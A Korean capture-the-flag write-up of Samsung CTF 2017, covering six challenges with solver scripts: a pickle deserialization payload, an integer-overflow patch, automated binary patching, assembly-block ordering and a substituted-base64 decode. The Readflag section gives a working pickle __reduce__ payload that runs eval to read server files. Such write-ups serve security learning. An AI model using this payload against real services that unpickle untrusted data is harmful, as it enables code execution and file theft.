2017
Samsung CTF
Write Up

asdf7845120
(KSHMK)

1. Mic Check

마이크는 마이크
SCTF{Welcome_to_SCTF2017_haha}

2. Readflag

```
from pickle import dumps

print dumps([1, 2, 3])+'#'
```

dump.py의 내용을 보면 pickle을 사용하는 것을 알 수 있다.
pickle에는 알려진 취약점이 존재하는데 임의로 명령을 실행할 수 있는 취약점이다.
하지만 os.system의 사용을 금지해 놨는데 eval를 사용해서 파일을 직접 읽어오게 했다.

```
import pickle
class payload(object):
    def __reduce__(self):
        return (eval, (('open("test.py").read()'),))

payload = pickle.dumps( payload())+"#"
print payload
```

SCTF{3a5y_e4zy_p1ckl1ng}

3. Dfa

M오토마타 코드를 분석해서 취약점을 패치하는 문제이다. 힙을 무지하게 사용하기에 힙 관련 문제인 줄 알았으나

auto.c 중 add_node 함수

```
void add_node()
{
    char linebuf[0x100];
    unsigned int namelen = 0;
    printf("length of name: ");
    fgets_eof(linebuf, 0x100);
    namelen = atoi(linebuf);
    if(namelen + 1 > 0x100)
    {
        puts("invalid length");
        return;
    }
    printf("name of node: ");
    namelen = read(0,linebuf,namelen);
```

코드를 보면 namelen에 + 1을 한 뒤 0x100보다 큰지 확인한다. 하지만 namelen은 unsigned로 정의가 되어 있음을 알 수 있다.

따라서 namelen에다 0xFFFFFFFF(4294967295)를 입력하게 되면 검사할 때 + 1을 하면 Integer overflow가 일어나 0이 되어 검사를 통과하게 되고 Buffer overflow가 일어나게 된다. 그러므로 unsigned int를 int로 바꿔주면 된다.

SCTF{simple patch tutorial}

4. Bad

3 Stage로 나눠진다.

각 Stage마다 취약점이 늘어나며 취약점은 보두 Buffer overflow 관련 취약점이었다.

첫 번째 취약점은 get_int 함수에서 발생한다.

```
08048710     public get_int
08048710     get_int proc near
08048710
08048710     nptr= byte ptr -0A8h
08048710
08048710 000 push    ebp
08048711 004 mov     ebp, esp
08048713 004 sub     esp, 0A8h
08048719 0AC sub     esp, 8
0804871C 0B4 push    194h
08048721 0B8 lea     eax, [ebp+nptr]
08048727 0B8 push    eax
08048728 0BC call    read_len
0804872D 0BC add     esp, 10h
08048730 0AC sub     esp, 0Ch
08048733 0B8 lea     eax, [ebp+nptr]
08048739 0B8 push    eax             ; nptr
0804873A 0BC call    _atoi
0804873F 0BC add     esp, 10h
08048742 0AC leave
08048743 000 retn
08048743     get_int endp
08048743
```

지역변수 할당을 0xA8만큼 하지만 0x194만큼 읽기 때문에 취약점이 발생한다.

두 번째 취약점은 get_file에서 발생한다.

```
080488C2     s2= byte ptr -1ACh
080488C2     var_C= dword ptr -0Ch
080488C2     s= dword ptr  8
080488C2
080488C2 000 push    ebp
080488C3 004 mov     ebp, esp
080488C5 004 sub     esp, 1B8h
080488CB 1BC sub     esp, 0Ch
080488CE 1C8 push    [ebp+s]         ; s
080488D1 1CC call    _puts
080488D6 1CC add     esp, 10h
080488D9 1BC sub     esp, 8
080488DC 1C4 push    278h
080488E1 1C8 lea     eax, [ebp+s2]
080488E7 1C8 push    eax
080488E8 1CC call    read_len
```

이번에도 첫 번째 취약점과 같은 이유로 발생한다.

세 번째 취약점은 modify_file에서 발생한다. 이번에는 조금 다른 이유인데 create_file 함수에서

```
08048934 01C sub     esp, 0Ch
08048937 028 push    1ACh            ; nmemb
0804893C 02C call    calloc_chk
08048941 02C add     esp, 10h
08048944 01C mov     [ebp+s2], eax
08048947 01C sub     esp, 0Ch
0804894A 028 push    offset aFileName ; "File name :"
0804894F 02C call    _puts
08048954 02C add     esp, 10h
08048957 01C mov     eax, [ebp+s2]
0804895A 01C sub     esp, 8
0804895D 024 push    1A0h
08048962 028 push    eax
08048963 02C call    read_len
```

calloc을 통해 할당한 버퍼를 read_len으로 읽는데 이 때 얼마만큼 읽는지를 가져와 수정했어야 했다.(이거땜시 삽질함)

함수 위치가 바뀌는 사태가 있었으나 elftools로 symbol을 읽어 해결했다.

Python Code

```
from pwn import *
from elftools.elf.elffile import ELFFile
import base64
#SCTF{BAD_1s_B3y0ndAppleD3veloper}
r = remote("bad2.eatpwnnosleep.com", 8888)
r.recvuntil("STAGE : 1")
try:
    for i in range(30):
        log.info("Stage"+str(i+1))
        k = r.recvuntil("Send")[:-4]
        k = base64.b64decode(k)
        patch = ""
        fs = 0x713
        if ord(k[fs]) == 0x81:
            size = u32(k[fs+2:fs+6])-12
            sp = 0x71d
        elif ord(k[fs]) == 0x83:
            size = ord(k[fs+2])-12
            sp = 0x71a

        if ord(k[sp-1]) == 0x6a:
            patch = k[:sp] + chr(size) + k[sp+1:]
        elif ord(k[sp-1]) == 0x68:
            patch = k[:sp] + p32(size) + k[sp+4:]

        r.sendline(base64.b64encode(patch))

        r.recvuntil("Success!")
```

```
except EOFError :
    f = open("WTF","wb")
    f.write(k)
    f.close()
    f = open("Patch","wb")
    f.write(patch)
    f.close()

r.recvuntil("STAGE : 2")
try:
    for i in range(30):
        log.info("Stage"+str(i+1))
        k = r.recvuntil("Send")[:-4]
        k = base64.b64decode(k)

        f = open("WTF","wb")
        f.write(k)
        f.close
        f = open("WTF","rb")
        elffile = ELFFile(f)
        symtab = elffile.get_section_by_name(b'.symtab')
        for sym in symtab.iter_symbols():
            if sym.name == "get_file":
                get_file = sym['st_value'] - 0x8048000
            if sym.name == "get_int":
                get_int = sym['st_value'] - 0x8048000
        f.close()

        patch = ""
        fs = get_int+3
        if ord(k[fs]) == 0x81:
            size = u32(k[fs+2:fs+6])-12
            sp = get_int+0xd
        elif ord(k[fs]) == 0x83:
            size = ord(k[fs+2])-12
            sp = get_int+0xa

        if ord(k[sp-1]) == 0x6a:
            patch = k[:sp] + chr(size) + k[sp+1:]
        elif ord(k[sp-1]) == 0x68:
            patch = k[:sp] + p32(size) + k[sp+4:]

        k = patch
        fs = get_file+3
        if ord(k[fs]) == 0x81:
```

```
            size = u32(k[fs+2:fs+6])-12
            sp = get_file+0x1b
        elif ord(k[fs]) == 0x83:
            size = ord(k[fs+2])-12
            sp = get_file+0x18

        if ord(k[sp-1]) == 0x6a:
            patch = k[:sp] + chr(size) + k[sp+1:]
        elif ord(k[sp-1]) == 0x68:
            patch = k[:sp] + p32(size) + k[sp+4:]



        r.sendline(base64.b64encode(patch))

        r.recvuntil("Success!")
except EOFError :
    f = open("WTF","wb")
    f.write(k)
    f.close()
    f = open("Patch","wb")
    f.write(patch)
    f.close()

r.recvuntil("STAGE : 3")
try:
    for i in range(30):
        log.info("Stage"+str(i+1))
        k = r.recvuntil("Send")[:-4]
        k = base64.b64decode(k)

        f = open("WTF","wb")
        f.write(k)
        f.close
        f = open("WTF","rb")
        elffile = ELFFile(f)
        symtab = elffile.get_section_by_name(b'.symtab')
        for sym in symtab.iter_symbols():
            if sym.name == "get_file":
                get_file = sym['st_value'] - 0x8048000
            if sym.name == "get_int":
                get_int = sym['st_value'] - 0x8048000
            if sym.name == "modify_file":
                modify_file = sym['st_value'] - 0x8048000
            if sym.name == "create_file":
                create_file = sym['st_value'] - 0x8048000
```

```
        f.close()

        patch = ""
        fs = get_int+3
        if ord(k[fs]) == 0x81:
            size = u32(k[fs+2:fs+6])-12
            sp = get_int+0xd
        elif ord(k[fs]) == 0x83:
            size = ord(k[fs+2])-12
            sp = get_int+0xa

        if ord(k[sp-1]) == 0x6a:
            patch = k[:sp] + chr(size) + k[sp+1:]
        elif ord(k[sp-1]) == 0x68:
            patch = k[:sp] + p32(size) + k[sp+4:]

        k = patch
        fs = get_file+3
        if ord(k[fs]) == 0x81:
            size = u32(k[fs+2:fs+6])-12
            sp = get_file+0x1b
        elif ord(k[fs]) == 0x83:
            size = ord(k[fs+2])-12
            sp = get_file+0x18

        if ord(k[sp-1]) == 0x6a:
            patch = k[:sp] + chr(size) + k[sp+1:]
        elif ord(k[sp-1]) == 0x68:
            patch = k[:sp] + p32(size) + k[sp+4:]

        k = patch
        fs = k[create_file:].find("\x83\xC4\x10\x8B\x45\xF4\x83\xEC\x08")+9+create_file
        if ord(k[fs]) == 0x68:
            size = u32(k[fs+1:fs+5])
        elif ord(k[fs]) == 0x6a:
            size = ord(k[fs+1])

        sp = modify_file +0x30
        if ord(k[sp-1]) == 0x6a:
            patch = k[:sp] + chr(size) + k[sp+1:]
        elif ord(k[sp-1]) == 0x68:
            patch = k[:sp] + p32(size) + k[sp+4:]



        r.sendline(base64.b64encode(patch))
```

```
        r.recvuntil("Success!")
except EOFError :
    f = open("WTF","wb")
    f.write(k)
    f.close()
    f = open("Patch","wb")
    f.write(patch)
    f.close()
r.interactive()
```

SCTF{BAD_1s_B3y0ndAppleD3veloper}

5. Buildingblocks

이 문제는 asm 코드를 SIGSEGV가 나지 않게 배열하는 문제였다.

각 함수들의 특징이 시작하는 코드는 mov eax, ?로 값을 저장하는 것이었고 다른 중간 코드들은 cmp로 eax를 비교한 뒤 값이 같지 않으면 의도적으로 SIGSEGV가 나게 유도 하는 코드가 있었다. 마지막 코드는 SYSCALL로 프로그램을 끝내는 코드가 있었다. 이를 사용해 코드 배열을 하였다.

EAX 값을 계산하는 코드는 C로 돌려서 EAX값을 출력하게 했다.

test.c

```
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <stdlib.h>
char buf[1000];
typedef int (*FuncPtr)(void);
void sig_handler(int signo)
{
        exit(-1);
}
int main(int argc, char *argv[])
{
        char buf[1000];
        int len;
        unsigned int EAX;
        if (signal(SIGSEGV, sig_handler) == SIG_ERR)
                return -2;

        EAX = atoi(argv[1]);
        len = atoi(argv[2]);

        buf[0] = '\xb8';
        *(unsigned int*)&buf[1] = EAX;
        read(0,&buf[5],len);

        buf[len+5] = '\xc3';
        FuncPtr runner = (FuncPtr*)buf;
        printf("%u\n", runner());
        return 0;
}
```

test.py

```
from pwn import *
from base64 import b64decode
from subprocess import Popen, PIPE, STDOUT
import hashlib
r = remote("buildingblocks.eatpwnnosleep.com", 46115)
for i in range(10):
    r.recvuntil("[")
    k = r.recvuntil("]")[:-1]
    k = k.replace("'","")
    k = k.split(", ")
    print k
    print "========================"
    sp = 0
    ep = 0
    proc = []
    flag = []
    for i,t in enumerate(k):
        proc.append(b64decode(t))
        if proc[i][0] == '\xb8':
            sp = i
            flag.append(0)
            continue
        if proc[i][-2:] == "\x0f\x05":
            ep = i
        flag.append(u32(proc[i][1:5]))
    patch = ""
    p = sp
    EAX = 0
    print flag
    print "sp : "+str(sp)+" ep : "+str(ep)
    while p != ep:
        patch += proc[p]
        print str(p)+" : "+proc[p].encode('hex')
        pip = Popen(['./test', str(EAX), str(len(proc[p]))], stdin=PIPE, stdout=PIPE)
        pip.stdin.write(proc[p])
        pip.stdin.close()
        pip.wait()
        EAX  = int(pip.stdout.readline())
        print "RET "+str(EAX)
        p = flag.index(EAX)
    patch += proc[ep]
    r.sendline(hashlib.sha256(patch).hexdigest())
r.interactive()
```

SCTF{45m_d1545m_f0r3v3r}

6. Easyhaskell

haskell이라는 언어로 만들어져 있다. GHC라는 것으로 컴파일 되어 있었고 디 컴파일이 보통 같으면 됐으나 코딩에 문제가 있는지 제대로 작동을 하지 않았다.

그래서 분석을 조금 해 보았다.

```
)40AC90 000                lea     rax, [rbp-28h]
)40AC94 000                cmp     rax, r15
)40AC97 000                jb      short loc_40ACE8
)40AC99 000                mov     rdi, r13
)40AC9C 000                mov     rsi, rbx
)40AC9F 000                sub     rsp, 8
)40ACA3 008                xor     eax, eax
)40ACA5 008                call    newCAF
)40ACAA 008                add     rsp, 8
)40ACAE 000                test    rax, rax
)40ACB1 000                jz      short loc_40ACE6
)40ACB3 000                mov     qword ptr [rbp-10h], offset stg_bh_upd_frame_info
)40ACBB 000                mov     [rbp-8], rax
)40ACBF 000                mov     r14d, offset base_GHCziBase_zdfMonadIO_closure
)40ACC5 000                mov     qword ptr [rbp-28h], offset stg_ap_pp_info
)40ACCD 000                mov     qword ptr [rbp-20h], offset base_SystemziEnvironment_getProgName_closure
)40ACD5 000                mov     qword ptr [rbp-18h], (offset s2cT_closure+1)
)40ACDD 000                add     rbp, 0FFFFFFFFFFFFFFD8h
)40ACE1 000                jmp     base_GHCziBase_zgzgze_info
```

삽질을 거듭한 다음에 프로그램 이름이 출력값에 영향을 준다는 것을 알았고 base64이지만 값을 치환해 놓았다는 것을 알았다.

여러 가지 이름으로 테스트 해서 값을 FLAG 값을 알아 냈다.

Python Code

```
import string
import base64

my_base64chars  = "¦yt2QGYA u  CeD0H/c)=NWVo&6nPk9$~dOKa?:<w8  !f  p Bxzl@s j   S  5"
std_base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
s = "=ze=/<fQCGSNVzfDnlk$&?N3oxQp)K/CVzpznK?NeYPx0sz5"
s = s.translate(string.maketrans(my_base64chars, std_base64chars))
print s
data = base64.b64decode(s)
print data
```

값 몇 부분이 이상하였으나 게싱으로 조정하면서 풀었다.

SCTF{D0_U_KNoW_fUnc10N4L_L4n9U4g3?}